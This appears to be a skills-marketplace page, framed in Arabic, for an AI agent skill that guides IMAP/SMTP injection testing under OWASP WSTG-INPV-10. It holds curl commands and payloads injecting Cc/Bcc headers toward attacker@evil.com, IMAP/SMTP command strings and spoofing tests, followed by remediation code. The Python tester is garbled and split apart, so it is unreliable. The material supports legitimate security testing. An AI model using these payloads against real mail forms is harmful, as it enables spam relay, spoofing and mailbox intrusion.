Skip to main content سوق المهارات اكتشف واستكشف مهارات الذكاء الاصطناعي التي بناها المجتمع.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
نسخ Promptعرض تفاصيل Prompt يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-10يبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
تحميل Zip جاري التحميل... name wstg-inpv-10 description Testing for IMAP/SMTP Injection category input-validation owasp_id WSTG-INPV-10 version 1.0.0 author cyberstrike-official tags ["injection","input-validation","xss","sqli","wstg","inpv"] tech_stack [] cwe_ids ["CWE-601"] chains_with ["wstg-inpv-02","wstg-sess-05"] prerequisites ["wstg-info-01"] severity_boost {}
wstg-inpv-10
Test ID
WSTG-INPV-10
Test Name
Testing for IMAP/SMTP Injection
High-Level Description
IMAP/SMTP Injection occurs when user input is incorporated into mail server commands without proper validation. Attackers can manipulate email functionality to send spam, access other users' mailboxes, execute arbitrary IMAP/SMTP commands, or bypass email-based security controls.
What to Check
How to Test
Step 1: Test Email Header Injection
#!/bin/bash
TARGET="https://target.com/contact"
echo "[*] Testing email header injection..."
curl -s -X POST "$TARGET " \
-d "name=Test" \
-d "email=test@test.com%0ACc:attacker@evil.com" \
-d "message=Test message"
curl -s -X POST "$TARGET " \
-d "name=Test" \
-d "email=test@test.com%0ABcc:attacker@evil.com" \
-d "message=Test message"
curl -s -X POST "$TARGET " \
-d "name=Test%0ASubject:Injected Subject" \
-d "email=test@test.com" \
-d "message=Test"
Step 2: IMAP/SMTP Injection Tester
requests
urllib.parse quote
:
( ):
.url = url
.findings = []
.session = requests.Session()
PAYLOADS = {
: [
,
,
,
,
,
,
,
,
,
],
: [
,
,
,
,
],
: [
,
,
,
],
}
( ):
( )
payload .PAYLOADS[ ]:
:
response = .session.post(
.url,
data={
email_param: payload,
: ,
: ,
:
}
)
response.status_code == :
response.text.lower() \
response.text.lower():
( )
( )
.findings.append({
: ,
: payload,
:
})
response.text.lower() \
response.text.lower():
( )
Exception e:
( ):
( )
payload .PAYLOADS[ ]:
:
response = .session.post(
.url,
data={
user_param: payload,
:
}
)
response.text \
response.text \
response.text:
( )
.findings.append({
: ,
: payload,
:
})
Exception e:
( ):
( )
crlf_payloads = [
,
,
,
]
payload crlf_payloads:
:
response = .session.post(
.url,
data={
: ,
subject_param: payload,
:
}
)
response.status_code == :
( )
Exception e:
( ):
( )
spoofed_addresses = [
,
,
,
]
email spoofed_addresses:
:
response = .session.post(
.url,
data={
: email,
: ,
:
}
)
response.text.lower():
( )
.findings.append({
: ,
: email,
:
})
Exception e:
( ):
( + * )
( )
( * )
.findings:
( )
:
f .findings:
( )
f:
( )
( ):
.test_header_injection()
.test_crlf_injection()
.test_from_spoofing()
.test_imap_injection()
.generate_report()
tester = MailInjectionTester( )
tester.run_tests()
"""
IMAP/SMTP Injection Vulnerability Tester
"""
import
from
import
class
MailInjectionTester
def
__init__
self, url
self
self
self
'header_injection'
"test@test.com\nCc: attacker@evil.com"
"test@test.com\r\nCc: attacker@evil.com"
"test@test.com%0ACc:attacker@evil.com"
"test@test.com%0D%0ABcc:attacker@evil.com"
"test@test.com\nSubject: Injected"
"test@test.com%0ASubject:INJECTED"
"test@test.com\n\nInjected body content"
"test@test.com%0A%0AInjected%20body"
"test@test.com\nFrom: spoofed@evil.com"
'imap_commands'
'test"\r\nA001 LOGOUT\r\n'
'test" FETCH 1:* BODY[]'
'test"\nA001 SELECT INBOX\nA002 FETCH 1:* FLAGS'
'test%22%0D%0AA001%20LOGOUT'
'smtp_commands'
'test@test.com\r\nRCPT TO:<attacker@evil.com>'
'test@test.com\nDATA\nInjected message\n.\n'
'test@test.com%0D%0ARCPT%20TO:<attacker@evil.com>'
def
test_header_injection
self, email_param='email'
"""Test email header injection"""
print
"\n[*] Testing email header injection..."
for
in
self
'header_injection'
try
self
self
'name'
'Test User'
'subject'
'Test Subject'
'message'
'Test message'
if
200
if
'sent'
in
or
'success'
in
print
f"[WARN] Email possibly sent with injection"
print
f" Payload: {payload[:50 ]} "
self
'type'
'Email Header Injection'
'payload'
'severity'
'High'
if
'mail'
in
or
'smtp'
in
print
f"[INFO] Mail-related response detected"
except
as
pass
def
test_imap_injection
self, user_param='username'
"""Test IMAP command injection"""
print
"\n[*] Testing IMAP command injection..."
for
in
self
'imap_commands'
try
self
self
'password'
'test'
if
'OK'
in
or
'LOGOUT'
in
or
'SELECT'
in
print
f"[VULN] IMAP command injection possible!"
self
'type'
'IMAP Command Injection'
'payload'
'severity'
'Critical'
except
as
pass
def
test_crlf_injection
self, subject_param='subject'
"""Test CRLF injection in email fields"""
print
"\n[*] Testing CRLF injection..."
"Subject\r\nCc: attacker@evil.com\r\n\r\nInjected body"
"Subject%0d%0aCc:%20attacker@evil.com"
"Subject\nBcc: attacker@evil.com"
for
in
try
self
self
'email'
'test@test.com'
'message'
'Test'
if
200
print
f"[INFO] Payload accepted: {payload[:40 ]} "
except
as
pass
def
test_from_spoofing
self
"""Test From address spoofing"""
print
"\n[*] Testing From address spoofing..."
"admin@target.com"
"support@target.com"
"noreply@target.com"
for
in
try
self
self
'email'
'name'
'Admin'
'message'
'Spoofed message'
if
'sent'
in
print
f"[WARN] Email sent as: {email} "
self
'type'
'From Address Spoofing'
'email'
'severity'
'Medium'
except
as
pass
def
generate_report
self
"""Generate findings report"""
print
"\n"
"="
60
print
"IMAP/SMTP INJECTION REPORT"
print
"="
60
if
not
self
print
"\nNo mail injection vulnerabilities confirmed."
else
for
in
self
print
f"\n[{f['severity' ]} ] {f['type' ]} "
if
'payload'
in
print
f" Payload: {f['payload' ][:60 ]} "
def
run_tests
self
"""Run all mail injection tests"""
self
self
self
self
self
"https://target.com/contact"
Step 3: Payload Reference # Email Header Injection
test@test.com%0ACc:attacker@evil.com
test@test.com%0ABcc:attacker@evil.com
test@test.com%0ASubject:Injected
test@test.com%0AContent-Type:text/html%0A%0A<script>alert(1)</script>
# CRLF Variants
%0A = Line Feed
%0D = Carriage Return
%0D%0A = CRLF
\r\n = CRLF (raw)
# IMAP Commands
A001 LOGIN user pass
A002 SELECT INBOX
A003 FETCH 1:* (FLAGS BODY[])
A004 SEARCH ALL
A005 LOGOUT
# SMTP Commands
HELO attacker.com
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@target.com>
DATA
Subject: Injected
Injected body
.
QUIT
Tools Tool Purpose Burp Suite Intercept and modify Telnet Direct SMTP/IMAP testing swaks SMTP testing Custom scripts Automated testing
Remediation
import re
from email.utils import parseaddr
def validate_email (email ):
"""Validate email address and prevent injection"""
if '\r' in email or '\n' in email:
raise ValueError("Invalid email: contains newlines" )
_, addr = parseaddr(email)
if not addr:
raise ValueError("Invalid email format" )
email_regex = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
if not re.match (email_regex, addr):
raise ValueError("Invalid email format" )
return addr
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
msg = MIMEMultipart()
msg['From' ] = 'noreply@example.com'
msg['To' ] = validate_email(user_email)
msg['Subject' ] = subject.replace('\n' , '' ).replace('\r' , '' )
<?php
function sanitize_email_header ($value ) {
$value = str_replace (["\r" , "\n" , "%0a" , "%0d" ], '' , $value );
return $value ;
}
$email = filter_var ($_POST ['email' ], FILTER_VALIDATE_EMAIL);
if (!$email ) {
die ('Invalid email' );
}
$headers = "From: noreply@example.com\r\n" ;
$headers .= "Reply-To: " . sanitize_email_header ($email ) . "\r\n" ;
?>
Risk Assessment Finding CVSS Severity IMAP command injection 9.1 Critical SMTP command injection 8.1 High Email header injection 6.5 Medium From address spoofing 4.3 Medium
CWE Categories CWE ID Title CWE-93 Improper Neutralization of CRLF Sequences CWE-88 Improper Neutralization of Argument Delimiters in a Command
Checklist [ ] Email header injection tested
[ ] CC/BCC injection tested
[ ] Subject injection tested
[ ] CRLF injection tested
[ ] IMAP commands tested
[ ] SMTP commands tested
[ ] From spoofing tested
[ ] Findings documented
المهن ذات الصلة SOC
استنادا إلى تصنيف SOC المهني